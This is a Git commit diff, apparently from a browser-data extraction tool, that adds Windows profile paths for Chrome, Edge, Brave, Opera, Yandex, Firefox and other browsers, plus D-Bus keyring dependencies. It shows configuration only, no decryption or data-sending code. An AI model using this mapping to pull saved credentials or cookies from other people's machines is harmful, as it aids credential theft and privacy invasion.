feat: add chromium for windows

pull/125/head
ᴍᴏᴏɴD4ʀᴋ 3 years ago
parent 153868198b
commit 4b4abee6cf
  1. 3
      go.mod
  2. 7
      go.sum
  3. 26
      internal/browser/browser.go
  4. 124
      internal/browser/browser_windows.go

@ -4,8 +4,10 @@ go 1.18
require ( require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
github.com/godbus/dbus v4.1.0+incompatible
github.com/json-iterator/go v1.1.12 github.com/json-iterator/go v1.1.12
github.com/mattn/go-sqlite3 v1.14.9 github.com/mattn/go-sqlite3 v1.14.9
github.com/ppacher/go-dbus-keyring v1.0.1
github.com/tidwall/gjson v1.9.3 github.com/tidwall/gjson v1.9.3
github.com/urfave/cli/v2 v2.4.0 github.com/urfave/cli/v2 v2.4.0
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
@ -13,6 +15,7 @@ require (
require ( require (
github.com/cpuguy83/go-md2man/v2 v2.0.1 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.1 // indirect
github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect

@ -6,6 +6,11 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4= github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI= github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
github.com/godbus/dbus v4.1.0+incompatible h1:WqqLRTsQic3apZUK9qC5sGNfXthmPXzUZ7nQPrNITa4=
github.com/godbus/dbus v4.1.0+incompatible/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
@ -18,6 +23,8 @@ github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9G
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0=
github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=

@ -72,6 +72,7 @@ func pickFirefox(name string) []Browser {
if name == "all" || name == "firefox" { if name == "all" || name == "firefox" {
for _, v := range firefoxList { for _, v := range firefoxList {
multiFirefox, err := firefox.New(v.name, v.storage, v.profilePath, v.items) multiFirefox, err := firefox.New(v.name, v.storage, v.profilePath, v.items)
// TODO: Handle error
if err != nil { if err != nil {
panic(err) panic(err)
} }
@ -101,21 +102,22 @@ var (
) )
const ( const (
chromeName = "Chrome" chromeName = "Chrome"
chromeBetaName = "Chrome Beta" chromeBetaName = "Chrome Beta"
chromiumName = "Chromium" chromiumName = "Chromium"
edgeName = "Microsoft Edge" edgeName = "Microsoft Edge"
speed360Name = "360speed"
qqBrowserName = "QQ"
braveName = "Brave"
operaName = "Opera"
operaGXName = "OperaGX"
vivaldiName = "Vivaldi"
coccocName = "CocCoc"
yandexName = "Yandex"
firefoxName = "Firefox" firefoxName = "Firefox"
firefoxBetaName = "Firefox Beta" firefoxBetaName = "Firefox Beta"
firefoxDevName = "Firefox Dev" firefoxDevName = "Firefox Dev"
firefoxNightlyName = "Firefox Nightly" firefoxNightlyName = "Firefox Nightly"
firefoxESRName = "Firefox ESR" firefoxESRName = "Firefox ESR"
speed360Name = "360speed"
qqBrowserName = "QQ"
braveName = "Brave"
operaName = "Opera"
operaGXName = "OperaGX"
vivaldiName = "Vivaldi"
coccocName = "CocCoc"
yandexName = "Yandex"
) )

@ -3,70 +3,104 @@
package browser package browser
import ( import (
item2 "hack-browser-data/internal/item" "hack-browser-data/internal/item"
) )
var ( var (
chromiumList = map[string]struct { chromiumList = map[string]struct {
browserInfo *browserInfo name string
items []item2.Item profilePath string
storage string
items []item.Item
}{ }{
"chrome": { "chrome": {
browserInfo: chromeInfo, name: chromeName,
items: defaultChromiumItems, profilePath: chromeProfilePath,
items: item.DefaultChromium,
}, },
"edge": { "edge": {
browserInfo: edgeInfo, name: edgeName,
items: defaultChromiumItems, profilePath: edgeProfilePath,
items: item.DefaultChromium,
},
"chromium": {
name: chromiumName,
profilePath: chromiumProfilePath,
items: item.DefaultChromium,
},
"chrome-beta": {
name: chromeBetaName,
profilePath: chromeBetaProfilePath,
items: item.DefaultChromium,
},
"opera": {
name: operaName,
profilePath: operaProfilePath,
items: item.DefaultChromium,
},
"opera-gx": {
name: operaGXName,
profilePath: operaGXProfilePath,
items: item.DefaultChromium,
},
"vivaldi": {
name: vivaldiName,
profilePath: vivaldiProfilePath,
items: item.DefaultChromium,
},
"coccoc": {
name: coccocName,
profilePath: coccocProfilePath,
items: item.DefaultChromium,
},
"brave": {
name: braveName,
profilePath: braveProfilePath,
items: item.DefaultChromium,
}, },
"yandex": { "yandex": {
browserInfo: yandexInfo, name: yandexName,
items: defaultYandexItems, profilePath: yandexProfilePath,
items: item.DefaultYandex,
},
"360": {
name: speed360Name,
profilePath: speed360ProfilePath,
items: item.DefaultChromium,
},
"qq": {
name: qqBrowserName,
profilePath: qqBrowserProfilePath,
items: item.DefaultChromium,
}, },
} }
firefoxList = map[string]struct { firefoxList = map[string]struct {
browserInfo *browserInfo name string
items []item2.Item storage string
profilePath string
items []item.Item
}{ }{
"firefox": { "firefox": {
browserInfo: firefoxInfo, name: firefoxName,
items: defaultFirefoxItems, profilePath: firefoxProfilePath,
items: item.DefaultFirefox,
}, },
} }
) )
var ( var (
chromeInfo = &browserInfo{ chromeProfilePath = homeDir + "/AppData/Local/Google/Chrome/User Data/"
name: chromeName, chromeBetaProfilePath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/"
profilePath: chromeProfilePath, chromiumProfilePath = homeDir + "/AppData/Local/Chromium/User Data/"
} edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/"
edgeInfo = &browserInfo{ braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/"
name: edgeName, speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/"
profilePath: edgeProfilePath, qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/"
} operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
yandexInfo = &browserInfo{ operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
name: yandexName, vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
profilePath: edgeProfilePath, coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"
} yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
firefoxInfo = &browserInfo{
name: firefoxName,
profilePath: firefoxProfilePath,
}
)
const (
chromeProfilePath = "/AppData/Local/Google/Chrome/User Data/"
chromeBetaProfilePath = "/AppData/Local/Google/Chrome Beta/User Data/"
chromiumProfilePath = "/AppData/Local/Chromium/User Data/"
edgeProfilePath = "/AppData/Local/Microsoft/Edge/User Data/"
braveProfilePath = "/AppData/Local/BraveSoftware/Brave-Browser/User Data/"
speed360ProfilePath = "/AppData/Local/360chrome/Chrome/User Data/"
qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/"
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
coccocProfilePath = "/AppData/Local/CocCoc/Browser/User Data/Default/"
yandexProfilePath = "/AppData/Local/Yandex/YandexBrowser/User Data/Default"
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles" firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/"
) )

Loading…
Cancel
Save